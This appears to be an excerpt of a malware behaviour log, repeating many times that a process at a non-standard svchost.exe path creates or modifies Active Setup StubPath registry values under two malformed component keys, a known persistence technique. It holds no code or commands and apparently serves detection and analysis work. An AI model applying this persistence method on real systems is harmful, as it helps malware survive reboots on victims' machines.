Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{Y479C6D0-OTRW-U5GH-S1EE-E0AC10B4E666} StubPath
Source: C:\Windows\System\svchost.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Active Setup\Installed Components\{F146C9B1-VMVQ-A9RC-NUFL-D0BA00B4E999} StubPath
